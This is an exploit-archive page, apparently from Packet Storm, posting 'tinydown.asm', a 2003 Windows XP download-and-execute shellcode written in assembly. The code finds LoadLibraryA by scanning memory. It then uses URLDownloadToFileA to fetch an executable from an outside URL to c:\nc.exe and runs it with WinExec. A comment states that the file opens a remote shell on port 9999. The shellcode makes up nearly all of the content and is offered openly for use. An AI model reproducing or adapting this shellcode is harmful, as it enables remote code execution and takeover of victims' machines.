exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

tinydown.asm

tinydown.asm
Posted Sep 18, 2003
Authored by Peter Winter-Smith

Generic Windows XP URL download and execute shellcode.

tags | shellcode
systems | windows
SHA-256 | a34c8afa73948e9a867355665d03c33149372aaa3f3bfd06d5782544de061ed0

tinydown.asm

Change Mirror Download
; Generic WinXP Download and Execute
; [peter4020@hotmail.com]
;
; nasmw -s -fbin -o tinydown.s tinydown.asm

bits 32

start:

jmp short pastfunct

; ######################################################################################
; # SCANNER() FUNCTION #
; ######################################################################################
;
; sub scanner(distance from function, dword dll base, dword code length, dword search string)

scanner:
pop esi ; esi = return address
pop edx ; dl = distance from function
pop edi ; edi = dll base
pop ecx ; ecx = code length
pop ebx ; ebx = search string
trawlmem:
inc edi
mov al, bl ; first byte of ebx; search string
repne scasb
jmp short checkbytes
nop
checkbytes:
dec edi
push esi ; preserve return address
push dword [edi]
pop esi
cmp ebx, esi
pop esi
je short gotcha
jmp short trawlmem
gotcha:
sub edi, edx ; get to start of ?? function
call edi ; call ??
jmp esi ; return to code

; end sub
; ######################################################################################

pastfunct:

jmp short avoidnastynulls

; ######################################################################################
; # FIND STRING OFFSETS #
; ######################################################################################
;

continue:
pop edi
mov esi, edi ; esi = 'urlmon.dll'
mov al, 0ffh
repne scasb
inc byte [edi-01h]
mov ebx, edi ; ebx = string of url
mov al, 0ffh
repne scasb
inc byte [edi-01h]
mov edx, edi ; edx = path of download
repne scasb
inc byte [edi-01h]
push edx

push ebx ; store our addresses for later
push edx
push esi
; ######################################################################################

jmp short pastpoint

avoidnastynulls:
jmp short data

pastpoint:

; ######################################################################################
; # MAIN SHELL CODE #
; ######################################################################################
;

; setup function to be called (loadlibrarya)

push esi ; 'urlmon.dll'

; end setup

; setup scanner()

push dword 0c25b5effh ; unique string a know offset from loadlibrarya
push dword 0deadc0deh ; long loop to cover entire file in memory
push dword 77e60101h ; kernel32.dll base + 0101h
xor edx, edx
mov dl, 2eh ; -2eh from loadlibrarya address
push edx

; end setup

call scanner

pop esi ; get our string addresses back
pop edx
pop ebx

push edx ; edx = path of file

; setup function to be called (urldownloadtofilea)

push edx
xor ecx, ecx
push ecx
push ecx
push edx ; path of download
push ebx ; url of download
push ecx

; end setup

; setup scanner()

push dword 8d8d5602h
push dword 0badc0dedh
push eax ; eax = base of urlmon.dll
xor edx, edx
mov dl, 1bh
push edx

; end setup

call scanner

nop
nop

pop edx ; get file path back

; setup function to be called (winexec)

pop edx
xor ecx, ecx
;inc ecx
push ecx
push edx

; end setup

; setup scanner()

push dword 0c458b66h
push dword 1337f00dh
push dword 77e60101h
xor edx, edx
mov dl, 16h
push edx

; end setup

call scanner

mov ecx, 0deadc0deh
infloop: ; infinite loop; no crash when done
inc ecx
cmp ecx, 0badc0dedh
loopnz infloop ; if this slows you down too much, remove it!

int3h

; ######################################################################################


; ######################################################################################
; # TEXT DATA #
; ######################################################################################
;
data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address
; spawns remote shell on port 9999
db 'c:\nc.exe', 0ffh
; ######################################################################################
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close